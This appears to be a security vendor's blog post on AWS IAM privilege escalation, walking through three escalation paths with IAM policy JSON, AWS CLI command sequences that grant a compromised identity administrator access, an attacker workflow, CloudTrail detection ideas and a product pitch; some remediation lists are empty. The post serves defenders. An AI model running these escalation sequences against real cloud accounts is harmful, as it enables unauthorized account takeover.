Horizon IAM Risk Series · Part 3 of 5

AWS IAM Privilege Escalation: How Attackers Move Through Your Cloud Account

How a low-privilege identity turns normal-looking IAM and service permissions into full administrative control.

Part 2 of this series focused on dangerous IAM misconfigurations that appear in almost every AWS account. Those misconfigurations are dangerous on their own, but their real impact is what they enable next: a low-privilege attacker identity methodically moving from limited access to full account control.


What Privilege Escalation Means in AWS

In AWS, privilege escalation is not just “getting more access.” It is the process of using already-permitted API actions to grant yourself or another principal permissions you were never intended to have.

That distinction matters. Privilege escalation is different from credential theft:

From a defender’s perspective, escalation is harder to spot because API calls often look legitimate in isolation. iam:CreatePolicyVersion, iam:AttachUserPolicy, or lambda:CreateFunction can all be valid operations in normal engineering workflows. The risk is in who calls them, when, and in what sequence.


Escalation Path #1: iam:CreatePolicyVersion

High-Risk Path

If an attacker can call iam:CreatePolicyVersion on a managed policy and set the new version as default, they can effectively overwrite that policy with administrator-level access.

A minimal policy that enables this looks like:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:CreatePolicyVersion",
        "iam:SetDefaultPolicyVersion"
      ],
      "Resource": "arn:aws:iam::*:policy/*"
    }
  ]
}

If the attacker can target a policy already attached to their own user or role, the attack sequence is straightforward:

# 1) Create a new policy version with admin permissions
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DeveloperPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

# 2) Confirm effective permissions with a high-privilege test action
aws iam list-users

And the injected policy document (admin-policy.json) is typically:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}

Remediation


Escalation Path #2: iam:AttachUserPolicy

High-Risk Path

If an attacker can attach managed policies to identities they control, they can directly add AWS-managed AdministratorAccess.

Example permission set:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:AttachUserPolicy"
      ],
      "Resource": [
        "arn:aws:iam::*:user/*"
      ]
    }
  ]
}

Attack sequence against a compromised IAM user:

# Attach AdministratorAccess to the current user
aws iam attach-user-policy \
  --user-name compromised-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Validate by calling a privileged API
aws ec2 describe-instances

Remediation


Escalation Path #3: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction

Chained Escalation Path

This is one of the most important AWS escalation chains because each permission can appear harmless when reviewed independently.

The attacker needs three capabilities:

  1. iam:PassRole for a high-privilege execution role.
  2. lambda:CreateFunction to launch code under that role.
  3. lambda:InvokeFunction to execute the payload.

Each step can be granted separately, which is what makes this chain easy to miss in reviews.

Permission 1 (iam:PassRole):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:PassRole",
      "Resource": "arn:aws:iam::123456789012:role/OrganizationAccountAccessRole"
    }
  ]
}

Permission 2 (lambda:CreateFunction):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "lambda:CreateFunction",
      "Resource": "*"
    }
  ]
}

Permission 3 (lambda:InvokeFunction):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "lambda:InvokeFunction",
      "Resource": "*"
    }
  ]
}

Attack sequence:

# 1) Create function using a high-privilege execution role
aws lambda create-function \
  --function-name escalate-fn \
  --runtime python3.12 \
  --handler index.handler \
  --zip-file fileb://payload.zip \
  --role arn:aws:iam::123456789012:role/OrganizationAccountAccessRole

# 2) Invoke function to perform privileged actions in AWS APIs
aws lambda invoke \
  --function-name escalate-fn \
  response.json

Inside payload.zip, the function can call privileged APIs like creating new admin users, attaching high-privilege policies, reading secrets, or modifying logging controls.

This is difficult to detect manually because:


The Compounding Problem: Real Attack Chains Are Multi-Step

In real incidents, attackers rarely rely on a single escalation trick. They chain permissions based on what the compromised identity can do right now.

A common attacker workflow:

  1. Enumerate current privileges using IAM simulation APIs, failed API response patterns, and service discovery calls.
  2. Probe IAM write capabilities (CreatePolicyVersion, AttachUserPolicy, PutUserPolicy, etc.).
  3. Check for iam:PassRole and inventory roles with broad permissions.
  4. Look for an execution primitive (Lambda, ECS task execution, Step Functions integration) to run code under a stronger role.
  5. Establish durable access by creating new policies, roles, access keys, or trust relationships.
  6. Move laterally to data stores, KMS keys, secrets managers, and deployment pipelines.

From the attacker’s perspective, this is an optimization exercise: find the shortest permission chain to administrative control without triggering obvious alerts. A read-only foothold becomes dangerous the moment one or two mutation permissions are exposed.


Detection: What to Watch in CloudTrail

Detection Priority

At minimum, build detections for these event patterns:

Example CloudTrail Lake query pattern (conceptual):

# Pseudo-query logic
# Find principals that create Lambda functions and invoke them within minutes,
# where the role passed to Lambda is outside expected role allowlists.

Operationally, high-fidelity detection requires baselining:

Without this context, security teams drown in noisy but technically valid events.


Why Manual Detection Doesn’t Scale

CloudTrail has the evidence, but manual review does not scale in real AWS environments.

The hard part is not finding one suspicious event. The hard part is continuously understanding:

That mapping problem is exactly what Horizon IAM Risk Analyzer is designed to solve: automatically identifying risky permission combinations and matching them to known IAM escalation techniques before they are exploited.


Close the Escalation Paths Before They’re Used

Privilege escalation is how low-severity IAM drift turns into account-level compromise. If an attacker can mutate IAM state or execute code under stronger roles, they do not need stolen admin credentials — they can build admin access from what already exists.

Horizon IAM Risk Analyzer gives you a practical way to detect and prioritize these paths continuously, not just during quarterly reviews.

Find Your IAM Escalation Paths Before Attackers Do

Automatically map privilege-escalation combinations across users, roles, and policies — and remediate the highest-risk paths first.

[Start your free 14-day trial on AWS Marketplace →]

Up next — Part 4: Multi-Account IAM Risk. We’ll cover how escalation paths spread across AWS Organizations, cross-account trusts, and delegated administration models.